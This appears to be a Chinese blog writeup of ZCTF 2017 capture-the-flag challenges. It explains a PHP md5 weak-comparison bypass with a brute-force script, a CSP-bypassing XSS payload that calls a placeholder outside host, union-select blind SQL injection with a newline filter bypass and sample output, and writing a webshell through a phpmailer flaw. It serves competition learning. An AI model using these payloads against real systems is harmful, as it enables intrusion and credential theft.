MENU

ZCTF 2017 writeup

March 5, 2017 • Read: 4517 • CTF

WEB

web100

扫目录得到 .index.php.swp

<?php
$flag = $_GET['flag'];
if ($flag != '15562') {
    if (strstr($flag, 'zctf')) {
        if (substr(md5($flag),8,16) == substr(md5('15562'),8,16)) {
            die('ZCTF{#########}');
        }
    }##
}
die('ha?')
?>

md5('15562') 的第 8 位是 0e 开头的,又是用的 ==,利用弱类型可以只判断前两位,之后的只要都是数字就可以。

import hashlib

for i in xrange(1000000):
    s = 'zctf' + str(i)
    mymd5 = hashlib.md5()
    mymd5.update(s)
    mymd5 = mymd5.hexdigest()
    flag = 1
    if mymd5[8:10] == '0e':
        for j in mymd5[10:24]:
            if j.isalpha():
                flag = 0
                break
        if flag == 1:
            print s
            break

zctf143431 可以满足条件。

Find My Eyes

类似一个 CMS 系统,翻了翻只有 contact.php 有个留言板的功能,考虑是有 XSS。留言板的功能是向 message.php 提交内容,响应头里又有 CSP,首先就要绕过这个东西。

搜索到一篇 文章,用其中的 jQuery 绕过,让服务器访问自己的网站,flag 会带在 header 里。

<script>//@ sourceMappingURL=http://xxxx/</script>

easyapk

逆向 apk,在 libso 里得到加密函数,就是将内容与 1470 循环异或后提交,index.php用来登录,mail.php用来发送邮件。登录处发现注入,万能密码发现 username 返回 admin,但还是不能正确登录,只能进一步将 password 注入出来,但 () 被过滤,一些函数也被过滤,无法正常盲注。

%0a 可以绕过过滤,可以 union%0aselect,搜索到一篇 文章,专讲 union select 下的盲注。

mysql> select * from users union select 1,2,'b' order by 3;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | 2        | b                                |
|  1 | admin    | e10adc3949ba59abbe56e057f20f883e |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)

mysql> select * from users union select 1,2,'f' order by 3;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | e10adc3949ba59abbe56e057f20f883e |
|  1 | 2        | f                                |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)

mysql> select * from users union select 1,2,'e1' order by 3;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | 2        | e1                               |
|  1 | admin    | e10adc3949ba59abbe56e057f20f883e |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)

mysql> select * from users union select 1,2,'e2' order by 3;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | e10adc3949ba59abbe56e057f20f883e |
|  1 | 2        | e2                               |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)

这样就可以一位一位的盲注了,得到密码 CleverBoy123

发送邮件的地方立刻想到 phpmailer 的漏洞,hint 提示根目录不可写,扫目录得到 upload 目录,随便找一个 payload 即可写入 shell。

MISC

Russian Zip

打开提示加密,用 WinRar 的压缩包修复即可打开,不用手改伪加密了,真神器。搜了一下这些莫名其妙的文件名,好像是 MineCraft 的地图,下了一个游戏打开,挖了沙子把自己垫高,看到 flag。

Whisper

打开 png 文件,隐约看到有人名,搜索一下是 RSA 的发明人。图片文件打开,后面发现一大堆形似 base64 加密的字符,抠出来解密(但是开头多一个 E 我就不懂为什么了......坑了好久),binwalk发现很多压缩文件,-e抠出来。

cat * | grep password
Archives QR Code
QR Code for this page
Tipping QR Code